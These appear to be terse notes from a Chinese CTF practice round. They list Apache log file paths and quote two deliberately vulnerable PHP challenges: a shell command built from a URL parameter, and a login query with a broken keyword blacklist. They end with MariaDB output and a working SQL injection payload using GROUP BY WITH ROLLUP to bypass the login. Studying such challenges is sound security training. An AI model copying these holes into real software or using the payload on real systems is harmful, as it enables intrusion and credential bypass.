2019安恒周周练西湖论剑特别版

/var/log/httpd/error_log
/var/log/apache2/error.log
/var/log/httpd-error.log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access.log

case 'news':
  if(isset($_GET['nid'])){

    if(preg_match("/[a-zA-Z]/",$_GET['nid'])){
      exit("Illegal operation!");
    }elseif(strlen($_GET[nid])>5){
      exit("Illegal operation!");
    }else{
      echo "<p class=lead>";
      system("head ./news/" . $_GET['nid']);
      echo "</p>";
    }

  }else{
    echo "<h3><a href=index.php?act=news&nid=1>鱼人守卫</a></h3>";
    echo "<h3><a href=index.php?act=news&nid=2>黑暗游侠</a></h3>";
    echo "<h3><a href=index.php?act=news&nid=3>血魔</a></h3>";

  }
  break;

<?php
include 'global.php';

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if(is_array($StrValue))
    {
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrtValue)==1){   
        print "holy shit!";
        exit();
    }      
} 

$filter = "union|select|from|where|join|sleep|benchmark|,|\(|\)";

foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}


if(!isset($_POST['key1']) || !isset($_POST['key2'])) {
    print <<<DBAPP

<img src='image/img.jpg' />
<!--index.phps-->
DBAPP;
    die;
}



$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'"); 
if(mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['key2'] == $_POST['key2']) {
        print $flag;
    }else{
        print "Error!";
        }
}else{
    print "Error!";
}

MariaDB [test]> select * from user  where id =1 GROUP BY id WITH ROLLUP LIMIT 1 OFFSET 1;
+------+----------+--------+
| id   | username | passwd |
+------+----------+--------+
| NULL | admin    | admin  |
+------+----------+--------+
1 row in set (0.001 sec)

MariaDB [test]> select * from user  where id =1 GROUP BY username WITH ROLLUP LIMIT 1 OFFSET 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | NULL     | admin  |
+----+----------+--------+
1 row in set (0.000 sec)

key1=' or 1=1 GROUP BY key2 WITH ROLLUP LIMIT 1 OFFSET 1;#&key2=